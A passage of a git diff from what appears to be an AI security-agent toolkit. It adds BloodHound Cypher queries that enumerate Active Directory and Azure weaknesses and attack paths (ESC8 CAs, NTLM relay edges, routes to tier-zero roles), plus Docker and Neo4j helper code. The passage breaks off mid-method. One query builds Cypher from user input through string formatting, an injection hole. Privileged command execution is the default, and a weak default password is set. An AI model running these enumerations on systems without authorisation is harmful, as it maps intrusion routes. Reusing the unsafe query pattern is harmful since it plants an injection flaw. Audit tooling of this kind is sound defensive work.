ct.effectiveekus + OR SIZE(ct.effectiveekus) = 0 + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_dcs_weak_certificate_binding(self) -> dict[str, t.Any]: + query = """ + MATCH p = (s:Computer)-[:DCFor]->(:Domain) + WHERE s.strongcertificatebindingenforcementraw = 0 OR s.strongcertificatebindingenforcementraw = 1 + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_inactive_tier_zero_principals(self) -> dict[str, t.Any]: + query = """ + WITH 60 as inactive_days + MATCH (n:Base) + WHERE n.highvalue = true + AND n.enabled = true + AND n.lastlogontimestamp < (datetime().epochseconds - (inactive_days * 86400)) + AND n.lastlogon < (datetime().epochseconds - (inactive_days * 86400)) + AND n.whencreated < (datetime().epochseconds - (inactive_days * 86400)) + AND NOT n.name STARTS WITH 'AZUREADKERBEROS.' + AND NOT n.objectid ENDS WITH '-500' + AND NOT n.name STARTS WITH 'AZUREADSSOACC.' + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_tier_zero_without_smartcard(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.highvalue = true + AND u.enabled = true + AND u.smartcardrequired = false + AND NOT u.name STARTS WITH 'MSOL_' + AND NOT u.name STARTS WITH 'PROVAGENTGMSA' + AND NOT u.name STARTS WITH 'ADSYNCMSA_' + RETURN u + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_domains_with_machine_quota(self) -> dict[str, t.Any]: + query = """ + MATCH (d:Domain) + WHERE d.machineaccountquota > 0 + RETURN d + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_smartcard_dont_expire_domains(self) -> dict[str, t.Any]: + query = """ + MATCH (s:Domain)-[:Contains*1..]->(t:Base) + WHERE s.expirepasswordsonsmartcardonlyaccounts = false + AND t.enabled = true + AND t.smartcardrequired = true + RETURN s + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_two_way_forest_trust_delegation(self) -> dict[str, t.Any]: + query = """ + MATCH p=(n:Domain)-[r:TrustedBy]->(m:Domain) + WHERE (m)-[:TrustedBy]->(n) + AND r.trusttype = 'Forest' + AND r.tgtdelegationenabled = true + RETURN p + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_unsupported_operating_systems(self) -> dict[str, t.Any]: + query = """ + MATCH (c:Computer) + WHERE c.operatingsystem =~ '(?i).*Windows.* (2000|2003|2008|2012|xp|vista|7|8|me|nt).*' + RETURN c + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_users_with_no_password_required(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.passwordnotreqd = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_users_password_not_rotated(self) -> dict[str, t.Any]: + query = """ + WITH 365 as days_since_change + MATCH (u:User) + WHERE u.pwdlastset < (datetime().epochseconds - (days_since_change * 86400)) + AND NOT u.pwdlastset IN [-1.0, 0.0] + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_nested_tier_zero_groups(self) -> dict[str, t.Any]: + query = """ + MATCH p=(t:Group)<-[:MemberOf*..]-(s:Group) + WHERE t.highvalue = true + AND NOT s.objectid ENDS WITH '-512' + AND NOT s.objectid ENDS WITH '-519' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_disabled_tier_zero_principals(self) -> dict[str, t.Any]: + query = """ + MATCH (n:Base) + WHERE n.highvalue = true + AND n.enabled = false + AND NOT n.objectid ENDS WITH '-502' + AND NOT n.objectid ENDS WITH '-500' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_principals_reversible_encryption(self) -> dict[str, t.Any]: + query = """ + MATCH (n:Base) + WHERE n.encryptedtextpwdallowed = true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_principals_des_only_kerberos(self) -> dict[str, t.Any]: + query = """ + MATCH (n:Base) + WHERE n.enabled = true + AND n.usedeskeyonly = true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_principals_weak_kerberos_encryption(self) -> dict[str, t.Any]: + query = """ + MATCH (u:Base) + WHERE 'DES-CBC-CRC' IN u.supportedencryptiontypes + OR 'DES-CBC-MD5' IN u.supportedencryptiontypes + OR 'RC4-HMAC-MD5' IN u.supportedencryptiontypes + RETURN u + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_tier_zero_non_expiring_passwords(self) -> dict[str, t.Any]: + query = """ + MATCH (u:User) + WHERE u.enabled = true + AND u.pwdneverexpires = true + AND u.highvalue = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # NTLM Relay Attacks + @tool_method() + async def find_ntlm_relay_edges(self) -> dict[str, t.Any]: + query = """ + MATCH p = (n:Base)-[:CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|CoerceAndRelayNTLMToADCS|CoerceAndRelayNTLMToSMB]->(:Base) + RETURN p LIMIT 500 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_esc8_vulnerable_cas(self) -> dict[str, t.Any]: + query = """ + MATCH (n:EnterpriseCA) + WHERE n.hasvulnerableendpoint=true + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_computers_outbound_ntlm_deny(self) -> dict[str, t.Any]: + query = """ + MATCH (c:Computer) + WHERE c.restrictoutboundntlm = True + RETURN c LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_computers_in_protected_users(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:MemberOf*1..]->(g:Group) + WHERE g.objectid ENDS WITH "-525" + RETURN p LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_dcs_vulnerable_ntlm_relay(self) -> dict[str, t.Any]: + query = """ + MATCH p = (dc:Computer)-[:DCFor]->(:Domain) + WHERE (dc.ldapavailable = True AND dc.ldapsigning = False) + OR (dc.ldapsavailable = True AND dc.ldapsepa = False) + OR (dc.ldapavailable = True AND dc.ldapsavailable = True AND dc.ldapsigning = False and dc.ldapsepa = True) + RETURN p + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_computers_webclient_running(self) -> dict[str, t.Any]: + query = """ + MATCH (c:Computer) + WHERE c.webclientrunning = True + RETURN c LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_computers_no_smb_signing(self) -> dict[str, t.Any]: + query = """ + MATCH (n:Computer) + WHERE n.smbsigning = False + RETURN n + """ + return await self.query_bloodhound(query) + + # Azure - General + @tool_method() + async def find_global_administrators(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:AZBase)-[:AZGlobalAdmin*1..]->(:AZTenant) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_high_privileged_role_members(self) -> dict[str, t.Any]: + query = """ + MATCH p=(t:AZRole)<-[:AZHasRole|AZMemberOf*1..2]-(:AZBase) + WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Shortest Paths + @tool_method() + async def find_paths_from_entra_to_tier_zero(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:AZUser)-[r*1..]->(t:AZBase)) + WHERE t.highvalue = true AND t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_to_privileged_roles(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZRole)) + WHERE t.name =~ '(?i)(Global Administrator|User Access Administrator|Privileged Role Administrator|Privileged Authentication Administrator|Partner Tier1 Support|Partner Tier2 Support)' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_from_azure_apps_to_tier_zero(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:AZApp)-[r*1..]->(t:AZBase)) + WHERE t.highvalue = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_to_azure_subscriptions(self) -> dict[str, t.Any]: + query = """ + MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZSubscription)) + WHERE s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Microsoft Graph + @tool_method() + async def find_service_principals_with_app_role_grant(self) -> dict[str, t.Any]: + query = """ + MATCH p=(:AZServicePrincipal)-[:AZMGGrantAppRoles]->(:AZTenant) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_service_principals_with_graph_assignments(self) -> dict[str, t.Any]: + query = """ + MATCH p=(:AZServicePrincipal)-[:AZMGAppRoleAssignment_ReadWrite_All|AZMGApplication_ReadWrite_All|AZMGDirectory_ReadWrite_All|AZMGGroupMember_ReadWrite_All|AZMGGroup_ReadWrite_All|AZMGRoleManagement_ReadWrite_Directory|AZMGServicePrincipalEndpoint_ReadWrite_All]->(:AZServicePrincipal) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Azure - Hygiene + @tool_method() + async def find_foreign_tier_zero_principals(self) -> dict[str, t.Any]: + query = """ + MATCH (n:AZServicePrincipal) + WHERE n.highvalue = true + AND NOT toUpper(n.appownerorganizationid) = toUpper(n.tenantid) + AND n.appownerorganizationid CONTAINS '-' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_synced_tier_zero_principals(self) -> dict[str, t.Any]: + query = """ + MATCH (ENTRA:AZBase) + MATCH (AD:Base) + WHERE ENTRA.onpremsyncenabled = true + AND ENTRA.onpremid = AD.objectid + AND AD.highvalue = true + RETURN ENTRA + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_external_tier_zero_users(self) -> dict[str, t.Any]: + query = """ + MATCH (n:AZUser) + WHERE n.highvalue = true + AND n.name CONTAINS '#EXT#@' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_disabled_azure_tier_zero_principals(self) -> dict[str, t.Any]: + query = """ + MATCH (n:AZBase) + WHERE n.highvalue = true + AND n.enabled = false + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_devices_unsupported_os(self) -> dict[str, t.Any]: + query = """ + MATCH (n:AZDevice) + WHERE n.operatingsystem CONTAINS 'WINDOWS' + AND n.operatingsystemversion =~ '(10.0.19044|10.0.22000|10.0.19043|10.0.19042|10.0.19041|10.0.18363|10.0.18362|10.0.17763|10.0.17134|10.0.16299|10.0.15063|10.0.14393|10.0.10586|10.0.10240|6.3.9600|6.2.9200|6.1.7601|6.0.6200|5.1.2600|6.0.6003|5.2.3790|5.0.2195).?.*' + RETURN n + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # Azure - Cross Platform Attack Paths + @tool_method() + async def find_entra_users_in_domain_admins(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:AZUser)-[:SyncedToADUser]->(:User)-[:MemberOf]->(t:Group) + WHERE t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_owning_entra_objects(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwns]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_in_entra_groups(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_templates_no_security_extension(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE ct.nosecurityextension = true + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_templates_with_user_specified_san(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(eca:EnterpriseCA) + WHERE eca.isuserspecifiessanenabled = True + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_ca_administrators(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:Base)-[:ManageCertificates|ManageCA]->(:EnterpriseCA) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_with_direct_entra_roles(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZHasRole]->(:AZRole) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_with_group_entra_roles(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZHasRole]->(:AZRole) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_with_direct_azure_roles(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_onprem_users_with_group_azure_roles(self) -> dict[str, t.Any]: + query = """ + MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method() + async def find_paths_user_to_user( + self, source_user: str, target_user: str, domain: str + ) -> dict[str, t.Any]: + """search for potential exploit/attack paths from source_user to target_user on the given domain""" + query = f""" + MATCH p=shortestPath((user1:User)-[*]->(user2:User)) + WHERE user1.name = "{source_user.upper()}@{domain.upper()}" + AND user2.name = "{target_user.upper()}@{domain.upper()}" + RETURN p + """ + return await self.query_bloodhound(query) diff --git a/dreadnode/agent/tools/envs/docker.py b/dreadnode/agent/tools/envs/docker.py new file mode 100644 index 00000000..2131281e --- /dev/null +++ b/dreadnode/agent/tools/envs/docker.py @@ -0,0 +1,428 @@ +import asyncio +import contextlib +import typing as t +from contextlib import asynccontextmanager +from dataclasses import dataclass, field +from pathlib import Path + +import aiodocker +import aiodocker.containers +import aiodocker.exceptions +import aiodocker.networks +import aiodocker.types +from loguru import logger + +# Helpers + + +def _parse_memory_limit(limit: str) -> int: + """Converts a human-readable memory string (e.g., '4g', '512m') to bytes.""" + limit = limit.lower().strip() + value_str = limit[:-1] + unit = limit[-1] + + try: + value = float(value_str) + if unit == "g": + return int(value * 1024**3) + if unit == "m": + return int(value * 1024**2) + if unit == "k": + return int(value * 1024) + # Assume bytes if no unit + return int(float(limit)) + except (ValueError, IndexError) as e: + raise ValueError( + f"Invalid memory limit format: '{limit}'. Use 'g', 'm', 'k' or bytes." + ) from e + + +# Config + + +@dataclass(frozen=True) +class HealthCheckConfig: + """ + Defines a command-based health check for a container, inspired by Docker Compose. + """ + + command: list[str] + """The command to run inside the container. Health is determined by exit code 0.""" + interval_seconds: int = 5 + """Seconds to wait between health checks.""" + timeout_seconds: int = 10 + """Seconds to wait for the command to complete before considering it failed.""" + retries: int = 5 + """Number of consecutive failures before marking the container as unhealthy.""" + start_period_seconds: int = 0 + """Grace period for the container to start before checks begin. Failures during this period don't count.""" + + async def wait_for_healthy(self, container: aiodocker.containers.DockerContainer) -> None: + """ + Continuously runs a health check command inside a container until it succeeds + or the retry limit is exceeded. + """ + info = await container.show() + container_name = info["Name"].lstrip("/") + + if self.start_period_seconds > 0: + logger.debug( + f"Waiting start period ({self.start_period_seconds}s) for '{container_name}' ..." + ) + await asyncio.sleep(self.start_period_seconds) + + for retry in range(self.retries): + try: + logger.debug(f"Running health check #{retry + 1}: {self.command}") + exec_instance = await container.exec(self.command) + + async def health_check_task() -> None: + async with exec_instance.start() as stream: # noqa: B023 + while True: + message = await stream.read_out() + if message is None: + break + + await asyncio.wait_for(health_check_task(), timeout=self.timeout_seconds) + result = await exec_instance.inspect() + + if result.get("ExitCode") == 0: + logger.debug(f"Container '{container_name}' passed health check") + return + + logger.debug( + f"Health check #{retry + 1} failed with exit code {result.get('ExitCode')}. " + f"Retrying in {self.interval_seconds}s ..." + ) + + except asyncio.TimeoutError: + logger.debug( + f"Health check #{retry + 1} timed out after {self.timeout_seconds}s. " + f"Retrying in {self.interval_seconds}s ..." + ) + except Exception as e: + error = str(e) + if isinstance(e, aiodocker.exceptions.DockerError): + error = e.message + logger.error(f"Container '{container_name}' health check failed: {error}") + break + + await asyncio.sleep(self.interval_seconds) + + raise asyncio.TimeoutError( + f"Container '{container_name}' failed to become healthy after {retry} retries" + ) + + +@dataclass(frozen=True) +class ContainerConfig: + name: str | None = None + """Optional name for the container. If not provided, a random name will be generated.""" + hostname: str | None = None + """Optional hostname to use for the container (otherwise this will default to the container name).""" + ports: list[int] = field(default_factory=list) + """List of ports to expose from the container.""" + env: dict[str, str] = field(default_factory=dict) + """Environment variables to set in the container.""" + volumes: dict[str | Path, str] = field(default_factory=dict) + """Volumes to mount in the container (host path -> container path).""" + command: list[str] | None = None + """Command to run in the container (overrides the image's default).""" + memory_limit: str | None = None + """Memory limit for the container (e.g., '4g', '512m').""" + extra_hosts: dict[str, str] = field(default_factory=dict) + """Additional hostnames to add to the container's /etc/hosts file.""" + network_name: str | None = None + """Name of the Docker network to connect the container to - will be created if it doesn't exist.""" + network_aliases: list[str] = field(default_factory=list) + """Aliases for the container in the network.""" + network_isolation: bool = False + """Whether to isolate the container in its own network.""" + health_check: HealthCheckConfig | None = None + """An optional, command-based health check to verify container readiness.""" + + def merge(self, other: "ContainerConfig | None") -> "ContainerConfig": + """Merges another config into this one, with 'other' taking precedence.""" + if other is None: + return self + + return ContainerConfig( + ports=sorted(set(self.ports) | set(other.ports)), + env={**self.env, **other.env}, + volumes={**self.volumes, **other.volumes}, + command=other.command or self.command, + memory_limit=other.memory_limit or self.memory_limit, + network_name=other.network_name or self.network_name, + hostname=other.hostname or self.hostname, + name=other.name or self.name, + extra_hosts={**self.extra_hosts, **other.extra_hosts}, + network_aliases=list(set(self.network_aliases) | set(other.network_aliases)), + network_isolation=other.network_isolation or self.network_isolation, + health_check=other.health_check or self.health_check, + ) + + +@dataclass(frozen=True) +class ContainerContext: + """Provides the dynamic runtime context of a running container.""" + + id: str + name: str + config: ContainerConfig + hostname: str + ip_address: str + ports: dict[int, int] + network_name: str | None + container: aiodocker.containers.DockerContainer + + # In the ContainerContext class: + + async def run( + self, + cmd: str, + *, + workdir: str | None = None, + timeout: int | None = 60, + shell: str = "/bin/sh", + privileged: bool = True, + stream_output: bool = True, + ) -> tuple[int, str]: + """ + Executes a command in the container's context, with optional timeout and workdir. + + Args: + cmd: The command to execute. + workdir: Optional working directory inside the container. + timeout: Maximum time to wait for command completion (default 60 seconds) or None for no timeout. + shell: The shell to use for command execution (default "/bin/sh"). + privileged: Whether to run the command in privileged mode (default True). + stream_output: If True, display command output in a live Rich panel. + + Returns: + A tuple of (exit_code, output) where: + - exit_code: The command's exit code (0 for success, 124 for timeout). + - output: The command's standard output as a string. + """ + logger.debug(f"Executing in '{self.name}' ({self.id[:12]}) (timeout: {timeout}s): {cmd}") + + args = [shell, "-c", cmd] + if timeout is not None: + args = ["timeout", "-k", "1", "-s", "SIGTERM", str(timeout), *args] + + exec_instance = await self.container.exec(args, privileged=privileged, workdir=workdir) + + output = "" + with logger.contextualize(prefix=self.name): + async with exec_instance.start() as stream: + while True: + message = await stream.read_out() + if message is None: + break + chunk = message.data.decode(errors="replace") + if stream_output: + logger.info(chunk.strip()) + output += chunk + + inspection = await exec_instance.inspect() + exit_code = inspection.get("ExitCode", None) or 0 + if exit_code == 124: # noqa: PLR2004 + logger.warning(f"Command timed out after {timeout}s") + + return exit_code, output + + +@asynccontextmanager +async def monitor_container( + container: aiodocker.containers.DockerContainer, +) -> t.AsyncGenerator[None, None]: + """A context manager to monitor a container and log unexpected exits.""" + shutdown_event = asyncio.Event() + + async def monitor_task_func() -> None: + try: + wait_task = asyncio.create_task(container.wait()) + shutdown_task = asyncio.create_task(shutdown_event.wait()) + + done, pending = await asyncio.wait( + [wait_task, shutdown_task], return_when=asyncio.FIRST_COMPLETED + ) + + for task in pending: + task.cancel() + + if wait_task in done and not shutdown_event.is_set(): + info = await container.show() + exit_code = info["State"]["ExitCode"] + if exit_code != 0: + logs = await container.log(stdout=True, stderr=True) + log_str = "".join(logs) + container_name = info["Name"].lstrip("/") + logger.error( + f"Container '{container_name}' ({container.id[:12]}) " + f"exited unexpectedly with code {exit_code}:\n{log_str}" + ) + except asyncio.CancelledError: + pass # Task was cancelled, which is expected on cleanup + except aiodocker.exceptions.DockerError as e: + logger.error(f"Error in container monitoring task: {e}") + + monitor_task = asyncio.create_task(monitor_task_func()) + + try: + yield + finally: + shutdown_event.set() + with contextlib.suppress(asyncio.CancelledError): + await monitor_task + + +@asynccontextmanager +async def container( # noqa: PLR0912, PLR0915 + image: str, config: ContainerConfig | None = None, client: aiodocker.Docker | None = None +) -> t.AsyncGenerator[ContainerContext, None]: + """An async context manager for the full lifecycle of a Docker container.""" + + try: + client = client or aiodocker.Docker() + except Exception as e: + raise RuntimeError("Failed to connect to Docker client. Is Docker running?") from e + + container: aiodocker.containers.DockerContainer | None = None + network: aiodocker.networks.DockerNetwork | None = None + network_created_by_us = False + container_name = "unknown" + + config = config or ContainerConfig() + + try: + # Pull the image if it doesn't exist + + try: + await client.images.inspect(image) + logger.info(f"Image '{image}' already exists locally") + except aiodocker.exceptions.DockerError: + logger.info(f"Pulling image '{image}'. This may take a moment ...") + await client.images.pull(image) + await client.images.inspect(image) + logger.success(f"Successfully pulled image '{image}'") + + # Setup the network + + if config.network_name: + try: + network = await client.networks.get(config.network_name) + logger.info(f"Using existing network '{config.network_name}'") + except aiodocker.exceptions.DockerError: + logger.info(f"Network '{config.network_name}' not found, creating it ...") + network = await client.networks.create( + {"Name": config.network_name, "Driver": "bridge"} + ) + network_created_by_us = True + logger.success(f"Created isolated network '{config.network_name}'") + + # Build the config + + extra_hosts = {"host.docker.internal": "host-gateway", **config.extra_hosts} + host_config: dict[str, t.Any] = { + "Binds": [f"{Path(h).expanduser().resolve()}:{c}" for h, c in config.volumes.items()], + "PortBindings": {f"{p}/tcp": [{"HostPort": "0"}] for p in config.ports}, + "ExtraHosts": [f"{k}:{v}" for k, v in extra_hosts.items()], + } + + if config.memory_limit: + host_config["Memory"] = str(_parse_memory_limit(config.memory_limit)) + host_config["MemorySwap"] = "-1" # Disable swap for performance predictability + + create_config: aiodocker.types.JSONObject = { + "Image": image, + "Env": [f"{k}={v}" for k, v in config.env.items()], + "ExposedPorts": {f"{p}/tcp": {} for p in config.ports}, + "HostConfig": host_config, + "Cmd": config.command, + "Hostname": config.hostname, + **({"Entrypoint": ""} if config.command else {}), + } + + logger.debug(f"Creating container for image '{image}' ...") + container = await client.containers.create(config=create_config) + + # Connect to network + + if network: + await network.connect( + {"Container": container.id, "EndpointConfig": {"Aliases": config.network_aliases}} + ) + + # Start the container + + await container.start() + + with contextlib.suppress(asyncio.TimeoutError): + await asyncio.wait_for(container.wait(), timeout=1) + + # Check for non-zero exit code + + info = await container.show() + if info["State"]["ExitCode"] != 0: + logs = await container.log(stdout=True, stderr=True) + log_str = "\n".join(logs) + raise RuntimeError(f"Container failed to start:\n{log_str}") + + # Gather info + + info = await container.show() + container_name = info["Name"].lstrip("/") + logger.info(f"Started container '{container_name}' ({container.id[:12]})") + + mapped_ports = { + p: int(info["NetworkSettings"]["Ports"][f"{p}/tcp"][0]["HostPort"]) + for p in config.ports + } + if mapped_ports: + logger.info(f"Port mappings: {mapped_ports}") + + container_ip = info["NetworkSettings"]["IPAddress"] + + async with monitor_container(container): + # Health check + + if config.health_check: + logger.info( + f"Waiting for '{container_name}' ({container.id[:12]}) to be healthy ..." + ) + await config.health_check.wait_for_healthy(container) + else: + logger.debug("No health check configured, assuming container is ready.") + + yield ContainerContext( + id=container.id, + name=container_name, + config=config, + hostname=config.hostname or container_name, + ip_address=container_ip, + ports=mapped_ports, + network_name=config.network_name, + container=container, + ) + + finally: + # Teardown + if container: + logger.debug(f"Cleaning up container '{container_name}' ({container.id[:12]}) ...") + try: + await container.stop(timeout=1) + # await container.delete(force=True) + logger.info( + f"Successfully stopped container '{container_name}' ({container.id[:12]})" + ) + except aiodocker.exceptions.DockerError as e: + logger.warning( + f"Could not remove container '{container_name}' ({container.id[:12]}): {e}" + ) + + if network and network_created_by_us: + logger.debug(f"Removing network '{network.id}'...") + await network.delete() + logger.info(f"Successfully removed network '{network.id}'.") + + await client.close() diff --git a/dreadnode/agent/tools/envs/neo4j.py b/dreadnode/agent/tools/envs/neo4j.py new file mode 100644 index 00000000..d323da9a --- /dev/null +++ b/dreadnode/agent/tools/envs/neo4j.py @@ -0,0 +1,356 @@ +import asyncio +import logging +import types +import typing as t +from contextlib import AsyncExitStack +from pathlib import Path + +import rigging as rg +import typing_extensions as te +from loguru import logger +from neo4j import AsyncDriver, AsyncGraphDatabase + +from dreadnode.agent.tools import Toolset, tool_method +from dreadnode.agent.tools.envs.docker import ( + ContainerConfig, + ContainerContext, + HealthCheckConfig, + container, +) + +# Reduce Neo4j logging noise +logging.getLogger("neo4j").setLevel(logging.ERROR) + +Mode = t.Literal["container", "external"] + + +class Neo4jTool(Toolset): + """ + A high-level client for interacting with a Neo4j database. + (Docstrings for modes remain the same) + """ + + def __init__( + self, + username: str = "neo4j", + password: str = "password", # noqa: S107 + uri: str | None = None, + image: str = "neo4j:latest", + data_dir: Path | str = ".neo4j", + container_config: ContainerConfig | None = None, + ): + """ + Create a Neo4jTool instance using either a managed container or an external database URI. + + If `uri` is provided, it connects to an existing Neo4j database, otherwise a new container is started. + + Args: + username: Neo4j database username. + password: Neo4j database password. + uri: Optional URI to connect to an existing Neo4j database. + image: Docker image to use for the Neo4j container. + data_dir: Directory to store Neo4j data when running in container mode. + container_config: Optional configuration for the Neo4j container. + """ + + self.mode: t.Literal["container", "external"] = "external" + self.image: str = image + self.uri: str | None = uri + self.auth: tuple[str, str] = ("neo4j", password) + self.data_dir = Path(data_dir).absolute() + self.container_config: ContainerConfig | None = None + + self._driver: AsyncDriver | None = None + self._container_context = t.cast( + "t.AsyncContextManager[ContainerContext]", AsyncExitStack() + ) + + if self.uri is None: + self.mode = "container" + self.data_dir.mkdir(parents=True, exist_ok=True) + + self.container_config = ContainerConfig( + ports=[7687, 7474], + env={"NEO4J_AUTH": f"{username}/{password}"}, + hostname="neo4j", + volumes={self.data_dir: "/data"}, + health_check=HealthCheckConfig( + command=[ + "cypher-shell", + "-u", + "neo4j", + "-p", + password, + "-d", + "neo4j", + "RETURN 1", + ], + interval_seconds=1, + retries=15, + start_period_seconds=3, + ), + ).merge(container_config) + + self._container_context = container(self.image, config=self.container_config) + + # 1 + # - Neo4j starts a container - driver connects to the container + # - BBOT runs in a container - BBOT connects to the other (neo4j) container (swap for host.docker.internal) + # + # 2 + # - Neo4j URI is provided (probably from host context (localhost:7474)) - driver connects to the URI + # - BBOT runs in a container - BBOT connects to the host Neo4j instance (swap for host.docker.internal) + # + # 3 + # - Neo4j starts in a container - driver connects to the container (always host context) + # - BBOT runs on the host - BBOT connects to the Neo4j container (don't swap host.docker.internal) + # + # 4 + # - Neo4j URI is provided (probably from host context (localhost:7474)) - driver connects to the URI + # - BBOT runs on the host - BBOT connects to the host Neo4j instance (don't swap host.docker.internal) + + async def __aenter__(self) -> "te.Self": + """ + Enters the context, starting a container or connecting to a URI. + """ + if self.mode == "container": + logger.info("Starting Neo4j container ...") + ctx = await self._container_context.__aenter__() + self.uri = f"bolt://localhost:{ctx.ports[7687]}" + logger.success(f"Neo4j container started '{ctx.name}'") + logger.info(f" |- Dashboard: http://localhost:{ctx.ports[7474]}") + logger.info(f" |- Bolt URI: {self.uri}") + + if not self.uri or not self.auth: + raise RuntimeError("Internal state error: URI or auth not set.") + + self._driver = AsyncGraphDatabase.driver(self.uri, auth=self.auth) + try: + await self._driver.verify_connectivity() + logger.success(f"Successfully connected to Neo4j at {self.uri}") + except Exception as e: + logger.error(f"Failed to connect to Neo4j at {self.uri}: {e}") + await self._container_context.__aexit__(type(e), e, e.__traceback__) + raise + + return self + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: types.TracebackType | None, + ) -> None: + """ + Exits the context, closing the driver and cleaning up the container if managed. + """ + if self._driver: + await self._driver.close() + await self._container_context.__aexit__(exc_type, exc_val, exc_tb) + + @rg.tool_method(catch=True) + async def query( + self, cypher: str, params: dict[str, t.Any] | None = None 